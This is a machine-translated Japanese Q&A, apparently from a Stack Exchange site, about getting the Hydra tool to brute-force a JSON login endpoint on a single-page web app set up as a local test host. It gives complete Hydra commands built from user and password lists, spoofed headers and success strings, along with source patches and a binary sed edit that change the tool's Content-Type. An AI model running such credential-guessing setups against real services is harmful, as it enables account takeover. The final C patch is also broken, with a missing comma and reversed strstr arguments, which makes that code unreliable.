HydraとJSONペイロードに問題があります。
ログイン要求(Fiddlerでインターセプト)は次のとおりです。
POST http://architectureservice.test.com/api/v1/login HTTP/1.1
Host: architectureservice.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Referer: http://architectureclient.test.com/
Content-Length: 51
Origin: http://architectureclient.test.com
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
{"username":"tester","password":"test"}
シングルページアプリケーションであるため、パスワードが間違っている場合の応答は実際には空です。代わりに、サーバーは404(見つかりません)または405エラーコードを返します。資格情報が正しい場合は、200ページに戻ります。
ご覧のとおり、リクエストはクライアントからサービスに流れます。サービスにはフォームは実際にはありません。クライアントで入力されたパラメーターを受け取ります(これはすべてローカルコンピューター上にあり、HOSTSファイルを調整したものです)。資格情報が正しい場合、Cookieが作成されます(これは最初のCookieであり、ログイン前のセッションCookieまたはsthはありません)。
これで、資格情報はJSON形式で渡されます。私のHydraコマンドは次のようになります。
hydra -L "users.txt" -P "passwords.txt" -s 80 architectureservice.test.com http-post-form "/api/v1/login:{'username'\:'^USER^','password'\:'^PASS^'}:NOT FOUND"
ただし、これはすべてのパスワードが有効であることを返します。 JSON形式のHydraと単一ページアプリケーションを使用することは可能ですか?
[〜#〜] update [〜#〜] Iserniの回答のおかげで、次のコマンドを作成できました。
hydra -v -V -L "users.txt" -P "passwords.txt" -s 80 architectureservice.test.com http-post-form "/api/v1/login:{\"username\"\:\"^USER^\",\"password\"\:\"^PASS^\"}:changeFirstName:H=Accept: application/json, text/plain, */*:H=Accept-Language: en-US,en;q=0.5:H=Accept-Encoding: gzip, deflate:H=Referer: http\://architectureclient.test.com/:H=Origin: http\://architectureclient.test.com:H=Connection: keep-alive"
注:ヘッダー値のコロンをエスケープする必要はないことに注意してください。実際、これはコマンドを壊すので、そこでコロンをエスケープしてはいけません。
このリクエストをWiresharkでインターセプトしましたが、JSONペイロードを除いて、Firefoxからのリクエストとまったく同じに見えます。 Hydraは「x-www-form-urlencoded」ボディを作成します。 Firefoxリクエスト(fiddlerでインターセプト)を使用してこの方法でエンコードしようとすると、「見つかりません」エラーが発生します。だから私は確かにJSONコンテンツタイプを作成できるようにする必要があります。これはHydraで可能ですか?
わかりやすくするために、Wiresharkキャプチャのスクリーンショットを次に示します。 Content-Typeヘッダーと本文のペイロード(FirefoxからはJSON)を除いて、すべてがFirefoxからのリクエストが行われたときとまったく同じです。
hydra -v -V -L "users.txt" -P "passwords.txt" -s 80 architectureservice.tester.com http-post-form "/api/v1/login:{\"username\"\:\"^USER^\",\"password\"\:\"^PASS^\"}:S=firstName:H=Accept: application/json, text/plain, */*:H=Accept-Language: en-US,en;q=0.5:H=Accept-Encoding: gzip, deflate:H=Referer: http\://architectureclient.tester.com/:H=Origin: http\://architectureclient.tester.com:H=Connection: keep-alive"
S=: I used this because in case of a failure, we get an empty response. The S= can be used to tell Hydra what comes back in case of a valid response. (We send back the firstName in case of a success)
H=: I noticed that Hydra understands that in a header, there will always be a colon. So you do not need to escape colons in headers. In other places, you do.
上記のコマンドは、Hydraのソースを次のように変更した場合に機能します(Hydra 7.6の場合):hydra-http-form.cの327行目あたり:
if (strcmp(type, "POST") == 0) {
sprintf(buffer,
"POST %.600s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0 (Hydra)\r\nContent-Type: application/json\r\nContent-Length: %d\r\n%s%s\r\n%s",
url, webtarget, (int) strlen(upd3variables), header, cuserheader, upd3variables);
if (hydra_send(s, buffer, strlen(buffer), 0) < 0) {
return 1;
ご覧のように、私は最も醜い解決策をとりました(ハードコードされたヘッダー値を "x-www-form-urlencoded"から "json"に切り替えます)。 json値をハードコードするだけです。また、Content-Typeは、hydra-http-form.cファイルの複数の場所にハードコードされています。状況に応じて、必要に応じて変更してください。
これで、Hydraを使用してjson Webアプリをブルートフォースすることができます。
JSONに問題がない場合(下を参照)、Hydraによって送信されるヘッダーがAJAXログインフォームのヘッダーと同じではない可能性があります。
ヘッダーの問題の主な原因(もちろん、User-Agentは別として)は通常、
Content-Type
_ヘッダーAccept
ヘッダーOrigin
ヘッダーX-Requested-With
_ヘッダー多くのフレームワークは、デバッグ支援と「セキュリティ」の両方として、XRWヘッダーやCSRF対策をチェックし、いくつかのルーターはリダイレクト(または_HTTP/1.1 200 OK
_ページ)コンテンツタイプと受け入れパラメータがJSONリクエストに適していない場合、ログインする必要があります。
クッキーはあなたの問題ではないようです。
最初に、必要なすべてのヘッダーをチェックアウトする必要があります。これは、cURLを使用して、1つのログインをチェックすることで実行できます(常に同じです)。
(実行するもう1つの価値あるチェックは、単一のHydraリクエストに対するフレームワークの応答をインターセプトすることです。正しいログインが「入力でのエラーso-and-so ...」と言っているため、200ページのHydraが誤っていると仮定してください)。
関連するヘッダーとその値が見つかったら、それらをHydraシーケンスに含める必要があります。タイプミスが許すようなもの
_"/api/v1/login:{\"username\"\:\"^USER^\",\"password\"\:\"^PASS^\"}:NOT FOUND:H=Origin\: http\://architectureclient.test.com:H=Accept\: application/json, text/plain, */*:H=Content-Type\: application/json;charset=utf-8"
_
使用したシーケンスはHTTPリクエストのJSONフレーバーと同じではないようです;あなたは一重引用符を使用しますが、一部のデコーダー(特にPHPのjson_decode()
)は非難されます。引用するPOST
インターセプトは、代わりにdouble引用符を使用します。
_<?php
$json=<<<JSON
{'user':'joe'}
JSON;
// Does not work (PHP 5.6.x)
print_r(json_decode($json, true));
?>
_
Hydraのソースコードをチェックしました。どうやらContent-Typeはハードコードされています methodがPOST
の場合。 (Hydra 8.0コード、ファイル_hydra-http-form.c
_):
_ if (strcmp(type, "POST") == 0) {
sprintf(buffer,
"POST %.600s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0 (Hydra)\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %d\r\n%s%s\r\n%s",
url, webtarget, (int) strlen(upd3variables), header, cuserheader, upd3variables);
if (hydra_send(s, buffer, strlen(buffer), 0) < 0) {
return 1;
}
} else {
...
_
ソリューション。うーん。本当に醜いと汚いハック:
_sed -e 's/Content-Type: application\/x-www-form-urlencoded/X-Would-Type: application\/x-www-form-urlencoded/' < hydra > hydra2
_
...これにより、_Content-Type
_ヘッダーではなく_X-Would-Type
_ヘッダーを送信しない新しいバイナリが生成されます。 2つの文字列は同じ長さで、バイナリは署名もMD5summedもされていないため、動作するはずです。 Now独自の_Content-Type
_ヘッダーを追加できます。
ただし、Hydraでmultipleヘッダーを送信する方法は完全にはわかりません。コマンドはコロンで区切られているように見え、ヘッダーtooにはコロンが含まれているため...
より良いソリューション
次のようにコードを編集します(私のソースの298行目近く)。
_ if (strcmp(type, "POST") == 0) {
sprintf(buffer,
"POST http://%s:%d%.600s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0 (Hydra)\r\n%sContent-Length: %d\r\n%s%s\r\n%s",
webtarget, webport, url, webtarget,
((NULL == strstr("Content-Type", cuserheader))
? "Content-Type: application/x-www-form-urlencoded\r\n"
: "")
(int) strlen(upd3variables), header, cuserheader, upd3variables);
if (hydra_send(s, buffer, strlen(buffer), 0) < 0) {
return 1;
}
} else {
_
...ifあなたがあなた自身の_Content-Type
_を提供するように、それはしないそれ自体を追加します。